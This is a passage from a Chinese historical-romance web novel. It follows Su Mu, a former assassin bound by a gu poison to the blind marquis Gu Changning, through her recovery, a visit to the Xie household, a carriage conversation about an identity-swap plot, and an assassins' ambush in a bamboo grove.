他就已在物色谁能够去胜任这一任务。 这件事, 是有风险的,扬风和凌风是自小就跟在他身边的,他不愿他们为他冒险, 府中其他人,也在让二人留意。也正是在纠结时,苏木出现了。 她说,留她一命,可为自己之利刃。 在她无敛锋芒处处与他争锋相对时, 他也不愿强留这样一女子在身边做事,索性答应她的要求,两件事情后,放她离开。 这第二件事,就是替他去牢狱中走一遭,以此来混淆相府视线,好让自己留有余地,好好地去查一查此事。 若是此事未查出,也大可留她那姐妹祝余在身边,以此要挟,以蛊作挟,她都不会牵连出自己。若是真相大白,那自然皆大欢喜。 他想,不过是一颗棋子罢了,有用便放她而去,无用便是因此而死,那也是不甚可谓的。 可为何…… 顾长宁回想起昨日情景,他其实不知跪在他侧的是苏木,直到她出声时,才辨其方位。所以在苏木晕倒时,他的腿骨,是最先感受到沉重的身体,那温热柔软的面颊,直直地磕到膝盖之上。 他叫她一声声她都未答应。 他看不清,所以眼底浮上焦急自己也未可知,只知当时,他只觉自己当时心脏被什么东西猛地一扯,下意识地去扶住了地上之人。 当时身处于顾长宁身后的扬风也是一愣,先是惊于苏木会突然晕倒,再是讶异于自己公子居然会主动地扶起一姑娘。 要知道,在顾长宁尚在相府书塾习书时,其他贵女甚至是叶眷姑娘靠近他一寸,他都要往后撤开半寸。 不对。 顾长宁及时撤回自己的思绪。 他喉间微动,心头不住安慰。那不过是因为自己身侧突然撞上一人晕倒,他猝不及防,又恰眼不能视,本能的警觉和应激罢了,才会有那么一丝丝的紧张。 是的,定是如此。 顾长宁垂下眼眸,指腹无声地摩挲着指中扳指,说起来,她帮了自己,也是因自己而受伤,自然而然的会出于礼节而去护她。 这是很自然的事情。 想到此,顾长宁颌首,似是很满意自己的这个答案,为了证实这一答案,他步子慢下几分,借机问向身后扬风:“苏木醒了吗?” 身后扬风本见自家郎君一直不说话,早已望着天边弦月出了神,攸地被这么一问,差点没缓过神来。 但自家公子声音还算亮堂,他虽疑惑地咦了一声,下一秒揣摩后又了然了几分。 “公子是问苏姑娘啊,她还没醒。” 似觉得自己的回话有些简单,扬风又补充说道:“在牢里她受了些苦,虽然前几日我们托谢公子送了些药,但那些药也只能敷其表面,未至根本,再加上昨日午时日头毒辣,热风入了体,一个习武之人,怕是的确撑不住了才会倒下去,想要醒来,怕是还要两三日。” 扬风回想着今日祝余回答给他的话,一字不落地说出。 可刚说出口,他又有些后悔了。他说话未顾及自家公子,总觉得这话里话外的意思,是指自家公子所做不恰当一般。 事实也正如他所想,这话一出,亭中顿时鸦雀无声,扬风都能听见自己的心跳声。 虽自家主子平时待他和凌风还算和蔼,但他也忘不了在战场之上自家主子杀敌时的狠绝和阴厉。 顾长宁蹙眉,抬腿出了月洞门,朝水榭边上的荷花池而去。 池中荷花虽未长成,但榭案不少灌木已长出缃色棣棠花、亦有壁上桃粉蔷薇做些点缀,倒有蓬勃之色。 他立于池边,神色自若:“她既说为我利刃,又向我提了条件,那这合作之苦也是她该受的。” 顾长宁说这话时,语气淡淡,没有扬风想象的怒意,只是不知这话,究竟是给扬风而说,还是给自己而说。 既然此事了结,他自然也该放她离去。 想及此,顾长宁顿了顿手下手杖:“此事了结,答应她的事我也该做到,等她醒来好些解了蛊,让她走吧。” 扬风见自家主子说的如此明了,不知为何,他又想试试自家主子,于是小心问道:“公子,不去看看苏姑娘吗?”毕竟,人家是因你而伤。 后半句话他没说出口来,但心中确实这样想着。 他操心自家工公子的感情之事啊,老侯爷临行前可是叮嘱过他,若是遇到好的姑娘得让郎君多接触接触。 眼下,虽苏木是刺客出身,但他总觉得,自家公子好像也不讨厌苏木。 这话问的小心,他以为自家郎君会第一时间回答他,却没曾想,竟犹豫了刹那。 顾长宁回想起苏木的声音,眼眸轻垂。 他又瞧不见,去与不去有什么所谓。 “不去了。” 这话说的无谓,扬风识趣没再多说,应声后,顾长宁又想起另一桩事,于是沉声而问:“苏木的奴籍稽查司查验过了吧?” 凡进稽查司之人皆查籍贯,以此判别此人是否为在逃外犯,或无籍之人,除此之外,在结案时,也要登记涉及此案之人详细信息。苏木作为进稽查司之人,自然毫不例外。 昨日,案子下定论后,谢辞桉还单独找过他,说是在上京籍库种,未查到苏木的来历。 当日,他未问罪扬风假籍之事为何未办妥,但也为了此案不再衍生些其他细枝末节,他只得圆话,说是籍贯放在府中未带。昨夜一过,此事他差点忘记,一刹想起,于是才问。 扬风回答:“查验过了,凌风带籍前去稽查司时,是都指挥使亲自查验的,无误后自然也就收回了。” 恰好,昨日申时籍纸被凌风带回,谢辞桉才罢了休。 顾长宁颌首,满意点头:“既然如此,那籍纸暂且莫毁,放在府中也省下不少事。” 扬风应声,随着顾长宁离开了后园。 苏木自混沌中醒来时,才知已入更时,外头打更人已打三声,夜已渐深。 意识逐渐清醒过来,小臂传来的苏麻让她下意识斜着看向塌边之人。 祝余发丝有些凌乱搭在脸上,整个有脸结结实实地躺在她右臂之上,她自己的双手则叠放着枕在脖前。 谁的舒服,还在手臂上蹭了几蹭。 不像比她大一岁的姐姐,无论是心性还是模样,祝余称她姐姐,似乎都说得过去。 她记不得自己如何晕了过去,醒来却已至侯府东苑这熟悉厢房之中,也未知睡了多久,后背有些压抑的难受。 为缓解这等感觉,苏木像翻身或往起睡半点,但她手被压着,若要侧身,那便面对着祝余,她不习惯休息时面对人脸,于是选择了后者。 她左手摸索着向脑后而去,轻抬上半身想要去扯后颈的枕头,但枕头被她压得太实,她努力去拉也拉不出来。 终于卯足了劲时,却不料肩骨传来剧烈的撕扯之痛,这一瞬,她一下就长嘶出声来。 差点忘了,左肩胛骨处,那可是被谢辞桉狠狠剜了一刀。 不出意外,这声呼痛自然吵醒了在塌边睡的正安稳的祝余。 祝余闻着些声响,立马弹射般起身,一时还以为自己听岔了神,糊着眼先往侧边一看。 见侧边无人,她这才反应过来,往床上看去。 苏木自然将她的样子落入眼中,但她面色沉着,没出一声,直到祝余突然站起身来见她抱住。 “苏木姐姐,你可算醒了,你吓死我了!” 祝余这一声,有惊喜、有担心亦有害怕般,声音带有啜泣之声,有些哽咽。 面对这突如其来的一抱,苏木愣神住了,但她未出手推开,也没有力气去推开。 但这一抱,自然蹭到了胸前伤口,她只闷哼一声,祝余立刻领会,随即摊开。 撤开一段距离,苏木正眼看着祝余,瞧见她眼眶泛红,让人不住软下心来。 经过影儿之事,她大概是有了杯弓蛇影的谨慎之意,可在看到眼前人时,她又不由地苦笑。 祝余是少时就与她相伴之人,从来没有害过她,她刚才竟生出了疑人之心。 对自己心生恼意,苏木只无奈地浅笑,语中带着叹息,打趣道:“你可是比我年岁还长之人,怎么像小孩子一样?” 祝余本还因压着苏木伤口而有些慌乱愧疚,但这话一出,她被逗的嗤笑出声:“苏木姐姐,你虽比我年岁小,但你一直是楼中天资出色又有能力者,一直将我和白薇护在身后,我就是叫你一辈子姐姐,那都是情愿的。” 苏木眉眼弯弯,带着病后的容颜少了几分锐利,多了几分柔和。 她向来听不得酸话,没再顺着她话说。 祝余也知,自然也没顺着说,她抹了抹眼角泪光,瞧见了苏木发白而干涩的双唇,于是起身而去桌上倒来一杯净水递上。 祝余的确心细,就这水不端来还好,一端来,她瞬觉自己口中发渴。 接过后,一骨碌便喝的干干净净。 祝余知苏木渴,于是接过杯子又往桌边走去。 只是这次,她语中带了些话。 “顾小侯爷说,此事了结,与你的约定便已达成,待你伤势大好后,便可去找他,然后我们便可以离开侯府了。” 祝余说这话时刚到桌前,苏木听的恍惚,听不清语气,只模模糊糊听了个大概。 但她知道,她可以走了。 要走了,如此甚好! 苏木心下不甚愉悦,长舒了一口气才问:“我睡了多久了?” 她想着,如今若伤势大好,她明日就想离开。 “姐姐,你都睡了五日了。” 苏木接过茶杯,听到五日时,手指滞了一瞬。她以为,至多两日。 五日,院中桃花都该从芽苞盛放了,她才醒来,难怪,上个案子了结了。 苏木问:“那最后,这事是如何处理的?” 想起影儿,苏木问。 祝余沿榻而坐,做回想状:“据扬风说,你晕倒后小侯爷就抱着你回来了。” “扬风替着侯爷依旧在稽查司,听说,那月华得知自己家里人都被杀死后,气的抽出一旁侍卫的剑就刺向了谢焱,一刀致命!那谢府三公子再怎么说也是丞相之子,无论做何等恶事自有法度惩治,但这一刀下去,相当于此案始作俑者终结,此案也就这样结了。” 祝余似惋惜般摇头:“在月华刺谢焱之前,谢焱也承认了罪责,说是因为此前和赵爵世子多有争执,这才想整整他,没想到钩吻能致人于死地,这等做派,当真是愚蠢。” 祝余说的仔细,未瞧见苏木听到那句“被小侯爷抱走”时的神情抽离。 被小侯爷抱起?被顾长宁? 她为何不记得。她努力回想,只记得当时眼前白茫一片,看不清来物,但似乎在回想时,能想起有人唤她名字。 祝余说完看向苏木,还以为她还在为影儿伤心,虽不知如何安慰,但她还是觉得要将后续之事说个干净。 “那假扮影儿的月华,也是你收留之人,我虽未见过,但能被姐姐收留,想来也不是穷凶极恶之人。” 祝余叹息:“她说,谢焱告诉他以父母去威胁他妹妹替她,不会伤及他们性命,却不料自己与双亲还未相认,就已葬身火海,她愧悔自己轻信了他人,于是自刎告罪了。” “情字伤人啊!” 苏木已从回忆中抽离了出来,她在听到这样的结果时,的确心中如堵大石一般,压抑非常。 她举杯,将手中茶杯之水一饮而尽,点头同意祝余之话,眼带坚定。 “所以,信人不如信己。” 后来,祝余还说了些什么,苏木已听不进去了,浅浅回忆起来,知是假扮月华的影儿算是无辜牵连,再加上家中双亲皆被谋害致死,圣上酌情考量,未追究二人罪责,无罪释放了。 看起来,倒像是皆大欢喜…… 她也……终于要离开这四四方方的侯府了。 过了几日,天气回暖,苏木身上的伤也养的差不多了。 苏木晨起练剑,庭中桃花虽舞姿翩翩,萦绕宛转间,落下一地绯色,铺满草青色的润地,春意盎然。 初,她手中之剑舞的还紧慢适中,而后,剑法越来越急,好几次出剑,似乎都带着自身不悦的情绪。 想起影儿、想起月华、想起前几日之事…… 人心可怖。 果然,人只能靠自己。 剑锋定在一处,苏木眼神凌厉,虽剑锋定在一处,刹那撤肘,随即收回。 这几日,祝余也总是不在府中,想问她有何事在忙,也瞧不见人影,她回身打开房门,拾起屋中挂在架子上的净帕,仔细地擦着额上细珠。 这几日顾长宁似乎很忙,一次也没来过她处,苏木心里也明镜儿似的,又或许是没什么必要要来见她,毕竟她本身就是他的一柄限时的利刃,时间一到,她便可以走了。 这几日,顾长宁未派扬风前来细说何时解蛊,她倒是落了清净。 她细想,上京城许多府中所用兵器未查,她既然来了这上京城,那自然是要多查几处才是。 刚好,她想着上次给林氏瞧病,那五锭大银也够她租下一店面,做些行医买药的生计,一来能够掩耳盗铃;二来,这行医也本是她乐意做的事。 这样,也能名正言顺的留在上京。 若是扬风未来,她也便充耳不闻,再住上两三日,等铺子租好了,主动去寻顾长宁。 只是,说起林氏,苏木恍惚间想起,好几日前给林氏瞧病时曾答应过谢辞桉,每过两日便要前去谢府复查一次,但因他事,耽搁了怕是有快十日。 既是答应他人之事,她也不好受了人银子而食言而肥,想罢,她将帕子扔回铜盆之中,转身向屏风后去。 洗漱一番,换身干净衣服,她去交付店铺定金时,也好去趟谢府。 立于谢府门下时,苏木有些恍惚。虽说谢焱之死是他自作孽的成果,但这事也确实与她有些相联,她倒不是觉得这事她有何罪过,而是他人罪过牵扯自身,况还是谢府。 她只觉命运弄人罢了。 苏木依旧带着白纱帏帽,既然谢辞桉还未知她身份,她也没什么理由给自己添麻烦。 刚才,苏木正要进去却被小厮阻拦,解释一番后,那小厮说进去通传,半晌,里头也没传来什么消息。 苏木未催,就这么静静等着,毕竟若是日后离开了上京,这些忆中之人,怕是很难在见到了。 门内朱漆斑驳,门环随着刚才小厮推门声亦作响动,暖风自街坊小巷穿堂而过,百姓之声也嚷嚷入耳。 忽而,苏木听到一孩童哭声夹杂着匆乱脚步声由进及远,苏木侧头,朝一旁看去。 不远处,一衣衫褴褛尚有破损污泥的小乞丐正扯着一女子衣角,那华贵的葡紫衣裙被混乱扯的怪样。 小乞丐喃喃道着“姐姐,救救我吧”“姐姐,我好饿,求求你了”诸如此类的话。 顺衣裙而视,苏木眸光停留在那女子脸上。 生的清丽,眉眼温和,身上那华锦素纱便可知,身份非普通人家所比,难怪,被小乞丐缠着不撒手。 旁侧一丫鬟皱着眉头,抬脚就要往那小乞丐踢去,那小乞丐年纪尚小,况又是跪在地上央求,这一脚,必定会踢中头部。 头部可是身体要紧之处,若是轻的还好,若是重了得了些隐疾,是难治的。 也许是多年在蔺州静医馆当大夫的习惯,苏木正要抬腿上前,那女子已经先一步止住了身旁之人。 “无碍。” 女子蹲身,语气温缓,随即从自己袖中掏出几枚碎银子便递了去。 那乞丐本还以为今日是讨要不到了,虽固执,脸色却已多了几分失望,所以,在见到女子玉手中的碎银时,眼中立马生了光,哆嗦着便想要接,但在摊手时,瞧见自己手板脏污,于是又在自己身侧蹭了蹭,这才小心拿起。 可也就是在这一瞬,附近街角的乞丐仿若嗅到了佳肴的虎狼蜂拥而来,灰扑扑一片,还带着此起彼伏的哀嚎与哭喊,顿时那女子被围其中不得出,一时水泄不通。 丫鬟最先惊叫,拔步便后退,女子本来温婉面目也多了几分慌乱。 苏木叹气,正要上前解围,却见身着一袭月牙白色衣衫男子穿入人影之中。 几名乞丐还想要抢银子,却在那谢辞桉的冷眼下,一时不敢冒犯半步。 见人退后,谢辞桉眸中冷色褪去几分,眉眼温和许多,叶眷还未回神,她便已听到谢辞桉懒洋洋的一句话抛过来:“眷儿,施财易、施策难,你这一番好心,倒叫自己身出不利境地了。” 这话无怪罪之意,似是客观说出当下境况。 叶眷平日里出门遇上乞丐,她都愿意给些碎银子打发,从未想过深层之理,见此她也实在无理反驳,只垂眸莞尔,轻应一声。 叶眷,苏木还记得,和她同岁。 少时,叶眷并不在谢府长大,她母亲乃谢府嫡次女,嫁到寰州后自家母亲便早早离世,因是低嫁,谢老太爷不忍自家外孙在外受委屈,于是在她七岁时接回了府中。 苏木和她接触不多,毕竟八岁,苏木便漂泊而离了上京。她只记得幼时她爱跟在谢辞桉身后,性格很是疏离寡淡。 多年未见,出落成大方得体的京中贵女了。 谢辞桉没再多说什么,看向围成一圈的一众乞丐,抬手指了指东南方向:“我谢府每日在顺安街施粥,去晚了可没有了。” 那些个乞丐也知谢辞桉的官职,自然不敢造次也不敢硬抢,听闻有粥喝那也是高兴的,于是又一窝蜂的朝顺安街方向而去。 没了人拦道,二人自要往府中而去。 见二人未瞧见自己已要上阶,苏木只好快步上前,作揖道:“谢郎君可还记得民女,之前有事耽搁,未来贵妇及时诊治林夫人,还望海涵。” 苏木颌首,未见谢辞桉疑惑之色。 他刚才,也的确没有注意到一旁站着一人。不过见眼前女子说的清晰,他便一下捕捉到核心之语。 他知道眼前女子便是前几日救治自己母亲的沈姑娘。 面色舒展,谢辞桉道:“姑娘不必多礼,还要感谢姑娘那日相救,这几日按照姑娘所给药房,家母已大好。” 苏木将那“大好”二字已落入心中,她放宽了心,同时也在白纱下仔细瞧着谢辞桉。 在平常,他是风度翩翩的温润君子,可在稽查司,她也见过他毫不手软之模样。 她这样看着,好像想将他看透一般。 苏木应声,既然如此,她似乎也没什么理由非要再进去查看,想到租下的铺子押金未付,苏木温言:“既如此,那我便放心了。” 她眼中还瞧着谢辞桉,同时眼波也在叶眷身上流转。 若是安然成长,珏乐怕也出落成如此模样了。 恍惚间,她未注意到谢辞桉正要开口说些什么,就听到门口传来一少女甜软之声。 “哥哥,你回来了?” 循声望去,因隔着有些距离,苏木未看清人,她知眼前人或有它事要忙,于是拱手后,在谢辞桉闻身侧目时转身先行一步。 谢辞桉再转头时,眼前人已离他隔街而去,谢辞桉收回刚要邀请她去府中一坐之语,蹙其的眉峰随他视线收回,露出笑容看向从门前奔来之人。 他无奈宠笑:“珏乐,怎么大姑娘了还咋咋呼呼的。” 名叫珏乐的女子已至身前,自然地挽上了谢辞桉的胳膊,顺着刚才谢辞桉所望方向而瞧:“哥哥,那人是谁啊?” 刚在门口,她就看到了谢辞桉正和一女子说话,因此选择此时出声,自然是有意而为之。 谢辞桉早已习惯沈珏乐的性子,和她一并走着同时也抬腿上了阶。 “不是谁,萍水相逢……” 苏木离去时,实则在听到“哥哥”时,有那么一丝疑惑。她记得,谢府总共就三脉,一脉乃宰相,其下有两子,一子乃谢辞桉,一子乃谢辞眴。 第二脉其下也不过两子,嫡子谢长盛、庶子谢焱。 好像,从未听说谢府还有其他姑娘。 就其声音来听,那也不过是年华尚浅。 苏木想不清,干脆不去细想,许是那家王公贵族组在一起那也不是没有的,就像少时她常去相府,和珏乐也常唤他哥哥…… 交了铺子定金,苏木又去了几家制衣坊挑了几声不一样的衣服和斗篷,无一不是一体颜色,大致为白或蓝。 她昨日已找好了几家靠谱药农,也是在鄢国四处商贩,蔺州也曾打过照面的,因此一提到静医馆,药农和各家药商也算是爽快。 她也没打算以此营生,因此也没招什么伙计,凭她一人看看病抓抓药,那也是足够了的。 事情都已办妥,店铺只需晚些时候将药材搬运铺中,她其后摆放几日便可开业。 因此,无后顾之忧,眼下她可立刻去寻顾长宁。 想着身上之蛊快解,苏木心下大快,走起路来也步伐脚下生愉。 苏木刚瞧见侯府门,便瞧见朱门大敞,绕过遮目视线后,她才瞧见门下石狮子中间,坐着一顶轿子。 轿子样式华贵,乌檀木轿柱上雕有祥云绵延,流苏在清风下微晃。 苏木定睛一看,便知那未掀帘子里所坐何人。 见人来,扬风拱手一揖:“苏姑娘,公子等你多时了。” 苏木抬眸,静静望着那远处座落的华轿,未言语颌首时,眼底流露出丝丝波光,潜藏着少有的和颜悦色。 她知这蛊,今日可解—— 第40章 苏木目光落在那马车上, 神情一顿,心下一下愉悦不少。她点头, 举步登车。 帘子掀开一角,车内昏光微黯,落入眼帘的便是顾长宁那墨青的衣袍衣角,见顾长宁坐正位,她整个的掀开车帘,坐到了他斜侧方。 顾长宁耳力敏锐,能听见她衣料与软垫相触时的摩擦, 车轮缓缓启动时, 他能听见些许身侧之人身影前后晃动之声、也能在被风掀起带着混杂的街道杂风中, 嗅到一丝若有似无的香气。 苏木弯腰坐进车厢时, 衣诀带起一阵极为冷淡的风,随着她坐下时, 香味愈见清晰。 这香并不浓烈, 不似浅薄花香、也不似市井常见之香,带着木质一般的内敛沁香, 似有若无。 这香扰了他心境, 他往侧边移了半分。 苏木抬眼, 瞧着许久未见的顾长宁。一如往常,他衣摆整齐,肩背挺直, 若不瞧那双眼,便以为是寻常人一般。 她刚入座,车头马夫便启程,扬风未跟其后。 车内极静,只有那车轮碾过石板路的声音咯吱咯吱传来, 车窗外有风穿过帘角,苏木暂未开口。 若是旁人,被他人利用,恐怕早就出声质问,但苏木清楚,这些个利用,是为放她自由的筹码,筹码已下注,事也已成,她没有理由质问。 她几次想要放下窗帘转头说话,但眸光又随街边小贩流连,一时觉得,就算是不说话,那也是极好的。 顾长宁自然也习惯寂静的气氛,毕竟久未见光亮,听不见声音的时候,倒叫人安心沉稳。 但马车内不比往处,车内狭窄,马夫一个猛刹或者快鞭,这车身都会随即晃动,好几次,苏木晃动的腿骨都和他直直撞上,见人未开口,苏木也不愿搭话。 离了这侯府,反正与他见面之机会也微乎其微,说不说这两句话有什么所谓。 反正扬风上次说过,下次见面必定是解蛊。 谁料,许是一车轮轧过一挡路石子,车厢剧烈的颠簸了几下。 苏木正出神望着外边,手肘支在帘框,猝不及防的晃动让她身子一倾,一丝惊呼压在喉咙里,整个人不受控制地往后仰去。 若是平常前后仰,她自然可以以下盘重心稳住,但这猝不及防的晃动,让苏木脚踝在踏板上猛拧地一歪,脚踝瞬时传来一丝骨缝撕裂之痛,但她无暇顾及,因为她着实是稳不住了。 她右手想要去抓住边框,但却落了空。 苏木只觉眼前一晃,下一瞬,后背便撞入了一温热而结实的胸膛,右臂也被一有力手掌握住。 鼻尖传来一阵香柏的淡香,这香味是苏木之前从未闻到过的。这气味,似雪后松杉,混着清苦和冷冽,也带着一丝疏离沉着。 仅这一次,离的如此近,一瞬便涌上苏木鼻头。 “当心。” 身后传来顾长宁底醇的声音,他嗓音极低又极稳。 苏木定了身子没应声,只滞住那么一瞬。 她胳膊被他攥得紧,力道不重,却恰好稳住了她那将要完全倒入他怀底的身形。 他的掌心覆在她衣袖之上,春日衣衫不似冬日裹厚,透着那层层纱衣传来的热度,似能感受到掌心传来的阵阵有力心跳。 苏木敛眉,缓缓坐直,袖上温热顺势而离,她没回头,也没看他,只低声言谢。 她弯着身子,轻揉着脚腕,但稍稍用力,那脚踝便传来剧烈疼痛,苏木被激起一身冷汗,她知,这脚定是伤筋动骨了。 索性她不再揉脚,整个身体朝车厢内壁靠去。 顾长宁收回的手掌藏匿于放置腿上袖袍之中,指节没来由的轻捻。 他掌心传来的他人余温,也随人而去。 顾长宁沉默片刻,淡嗯了一声。 有了前车之鉴,苏木不在撑肘瞧着窗外,视线一落入车厢,二人更显局促。 她正犹豫着要或是不要开口,正位之人已然开了口。 “伤好些了吗?” 苏木未料,他开口竟会问她之伤,她抬眼看他,不知他是问上次入狱之伤,还是问现下之伤。 苏木未追问,轻嗯一声:“好多了。” 语落,他又问:“你不问,今日带你去何处?” 他目不斜视,主动找起话题,苏木也将刚才之事抛掷脑后:“今日解蛊。” “自然是去巫师之处,我说的对吧?” 苏木转头看他:“不过,我记得你上次说过你府中曾有巫师,为何还要去寻,凭你这身份,不是传一句话的事情?” 这话一问,倒让顾长宁自己反思起今日行为。 前些日子,巫师念家中幼孙,已回城外老村去,说是过几日便可归来,若有要事,他可派扬风凌风传唤而来。 所以今日,他实则不必跑一趟的。 用扬风的话说:“平日请公子过节出个门沾点热闹气儿都不去,今儿个不是非跑一趟之事,怎得自己亲自去了。” 他抽动了几下藏匿于一侧的右耳,沉下心来。他是念及人巫师年纪大了,不便奔波,他身体康健又要马车代劳,自然是更好选择。 想罢,顾长宁侧头:“请人帮忙,自然要亲自前往。” 听此回答,苏木觉得也有道理,但多想无益,只要她能解了这蛊,怎样都无所谓。 只是,这句“请人帮忙”四字在苏木脑海里开始来回涌动。 刑场那日,他也算请她帮忙,怎的来的那样迟。 想及此,看马车亦未有要停之意,苏木问:“那为何刑场那日,你来的迟?” 这句话并非有问罪,但他仔细想来,那日临时有其他事耽搁,未如约定进场,实乃他的问题。 他不知何时立起一旁手掌,双手握住杖顶,一副老派模样:“那日临时有事,一……” “没事。” 轻飘飘的一句话,若是放以前,苏木非得问的一清二楚,可眼下,没有什么事能比解蛊更为重要,因此她听过也就过去了,并不好奇顾长宁因何事而耽搁,随即打断又问:“为何之前在牢里谈起计划时,你未谈及二人再次互换了身份?” 她有一搭无一搭,想着离开之前把一些心中尚有存疑之处问个清楚。 而此时,车厢也随之一停,苏木掀窗而瞧,马夫已经在城中关闸知处,她正疑问,身后冷不丁传来声音:“巫师身处城外,且得再等片刻。” 苏木眉眼微动,倒是没想到眼前人瞧不见也能洞察她动静,于是放下窗帘,又静静听他说。 马车也不知何时又开始摇晃起来。 “与你和谢辞桉商谈那日,的确我是有了确切证据证明二人互换了身份,二人首次换身份便是在你抓二人之前,第二次换身份,是在于你们商谈之后才得知的。” 顾长宁蹙着眉,说的仔细:“假月华被你抓来后,何安却说在那几日他还碰到过月华,这一事扬风也去查过,的确在那几日,真月华也就是在你被当作毒杀我的凶犯时,她出去还和谢焱见过面,见面所用之面容,便是真容。” “至于第二次是为何得知,一是我心下本就怀疑,你带月华扮作的影儿住外客栈时,那是她最佳离开时日,为何她没有跑,而是折回。为了证明心下疑惑,我故意露出消息称谢焱已被谢辞桉扣住,看她如何反应。” “若听你心爱之人有性命之忧,那自然会舍命前往,可影儿没有,这时,我已更信了几分二人身份得以互换,因此,我得知她爱听墙角,又引扬风故意说出朱家全员遭难,乃谢焱所为。” “不出所料,她果然急慌慌地要出府。” “要说与朱家之人如此深厚感情的又如此矛盾的,自然不是月华。若说此乃五分确信。” “其后便是十分确信,那日一小厮在院中闲聊,称上次我被人拦截在街,他未及时赶到而受了责罚,偏他出门在外扫地再遇了那妇人,那妇人一改往常贫苦模样,花钱大手大脚。” “扬风一查,果真是谢焱当日做的手脚,故意拦我二人在街上。” 顾长宁眸中浮起一抹狠色“他谢焱手申的这样长,无非想把罪名扣在我身上。” 苏木看他,心下有些复杂之色,远在蔺州她偶也有所闻,宣德候府和相府,一向不和。 可即使这样,顾长宁和谢辞桉还能成好兄弟,也是难得。 回想那日府前二人剑拔弩张的样子,实在难以回想二人在牢里合作时的畅快豪爽。 苏木问:“所以第二次你未告诉,是想要在全城人面前揭发谢焱?” 顾长宁冷笑:“区区一个谢焱,值得我大费周折?” “这谢焱有几个胆子敢谋杀世子?我就是把刀抵他跟前他也不敢。” 顾长宁面带冷色,话语如寒珠从喉咙滚出。 苏木凝神瞧着眼前人。 所以,他是怀疑谢相? 若是谢焱没那个胆子,那能在背后操控一切之人,能够如此心机之人,还能有谁。 难怪皇帝要临时从刑场回到稽查司,合着是由于牵扯出谢府,他一时怯了懦? 这鄢国,两足鼎力太久,一直是摄政王与皇帝二者调和,实则,有多少人想要削弱顾家、除掉谢家。 可目前,谢相怕是动不的。 苏木在府中多少听闻了外头之事。四大世家中有两大世家与谢府交好,若是此刻谢府受难,那三家联合,顾候在外,这上京怕是暗流涌动,顷刻有颓倒之迹。 这么多人巴不得顾长宁快死,也难怪,他不愿将此事再多告知给谢辞桉。 就算是再好的兄弟,他也是谢家之字,顾长宁不敢赌,不敢赌他是否愿意揪出谢焱,揪出更深处之人。 他所言与苏木而想不谋而合,她听的心下复杂,看着顾长宁的眼神竟多了几分自我未察觉的担忧。 她正要再言,门外马夫已传来声音。 “侯爷,到了。” 随即,马车便停止晃动,安靠在一处。 既如此,她还说不说,似乎也没什么所谓了。 苏木先掀帘,轻点右脚,重力放在左腿,先行在顾长宁之前下了车。 她知顾长宁眼睛不便,车夫定会扶他,她便往后退去,转眼看向篱笆里的屋舍。 车停在一处幽静密林里,路道还算开阔,从一小径而瞧,被石头挡住的屋舍便落出一角在眼前。 如此隐居之所,的确是平常巫师所喜之处。 车夫掀帘,顾长宁顺势而下,可就当他往下要踏入地面时,他心中隐觉不对。 他以前偶有一次也来过竹林,那时如现在一般天时,就算瞧不见,却有鸟啼、孩童嬉笑声、饭菜悠长香…… 而此刻,耳边一片寂静,只有乌鸦几声孤凄幽转声,甚至海还能闻见丝丝血腥…… 顾长宁耳朵忽地一动,只听几声肃然之声从竹林穿堂而过,他攸的睁大双眼,叫的急切。 “苏木——注意身后!” 40-50 第41章 顾长宁出声之前, 苏木环看四周,已隐约察觉些不一样, 她靴尖轻点落入一视野开阔青石之上,那青石还沾着些许湿润水迹。 可昨夜,并未下雨。 竹林静的不寻常,风声簌簌,混杂着风声的,还有以一种极快速度前行之物。 “苏木——小心身后。” 顾长宁话音刚落,一箭自后方射来, 苏木凝神偏头, 一冷箭自身后袭来, 被苏木躲了过去, 箭镞嵌入远处竹干时,箭尾还发着颤。 箭镞与脸庞仅毫米之差, 若是未及时躲过去, 脖已刺穿。 几乎在冷箭落竹同时,苏木猛踏而起, 眼下汇聚冷气, 随即从腰间抽出软剑, 杀意凛然。 她人尚在半空,手中长剑却一直直刺入林中黑影。 霎时之间,黑衣人如幽灵鬼魅般自林中疾跃而出, 声音被风声所掩盖,长刀在霞光映照下闪着寒光。 那些人,虽从四面八方而入,却都是奔着车厢而去。 车夫也是会武之人,顾长宁已被他硬生生按回车厢之中, 紧接着抽出腰间长刀,和那些个黑衣人交缠在一起。 黑衣人入蜂拥而至,苏木翻身迎敌,尽量阻止更多的人靠近车厢。 苏木出手决绝利落,脚踝之痛虽影响她落地翻转之姿,却不阻她出手之疾。 那些个黑衣人出手也同未留余地,招招狠辣,不置死地誓不罢休,苏木只得专心已待,不敢有半分松懈。 剑尖刺入血肉,一道黑影被钉在粗竹之上,未有哀鸣之声便已气绝。苏木落地回身旋转,腰肢挺韧,剑锋回折,又是无数人溅血而倒。 她未说一句话,杀意如密布乌云,出手密不透风。 来者足有十余人,皆着夜行衣,轻功不弱,手中刀法刁钻狠辣,显是最棘手的死士。 短短片刻,已有四人倒下。 “先解决他。” 其中一人,似是发现苏木武功不弱,若是不先解决她,便无机会杀了想杀之人,几番打斗之中,以瞧见苏木脚下不稳。 “攻其腿。” 苏木凌然,冷笑自喉间发出:“想杀你姑奶奶,来的人还不够多——” 她自然已听出对方意图,于是先发制人,苏木剑招比之之前更快几分,几乎未给人留有近身之机会。 转身望去时,还余两人与车夫缠斗,但身法明显迟缓,有些力不从心。 苏木皱眉,已有不详预感。 下一刻,黑衣人出掌震于胸口,车夫直直往地下倒去。 而顾长宁,还在车内。 苏木眉心跳动,一剑划破长空,拉开与众人距离,飞身往车旁而去。 还未驻足,身周已被人围堵。 无暇顾及马车,苏木虽相信,顾长宁是习武之人比有办法应当,但他又是个瞎子,若是被杀或被伤,受蛊牵连,她后面也会有危险。 这头,顾长宁听见马车剧烈一颠,猛的斜向一侧。 外头马嘶鸣叫,马夫已无声音。 顾长宁指尖微动,眉心收敛,黑暗之中,他的听觉也越发清晰。 血腥气息骤然浓重,一道沉重的步伐已塌入车厢。 靴子落地,衣料摩擦声擦过车帘,一股冷风灌入。 他静静坐着,待听剑声袭来时,头微一侧,嘴角牵起讥讽嘲意。 黑衣人还未掀帘见人模样,刀尖便先他一步刺入帘里。 顾长宁侧偏一分,恰恰躲过了那冷剑刀锋,同时,他反手一扣,一把擒住来人腕骨。 他手腕一拧,骨裂声响脆,那人长哀一声,手握刀剑哐当落地。 黑衣人左手正欲帮忙,顾长宁却用力一拉,将他甩至车厢内部,自己欺身而起,右手狠狠掐脖,直到感受到虎口处的狰动渐渐消退,顾长宁才又正身。 苏木打斗时心下想着马车处,虽分神,但黑衣人却照例个个倒下,直至剩余二人。 对方见自身势弱,可未有撤离之意,而是以两方夹击,逼的苏木频频转动身形,避让之际,脚腕之痛愈加清晰。 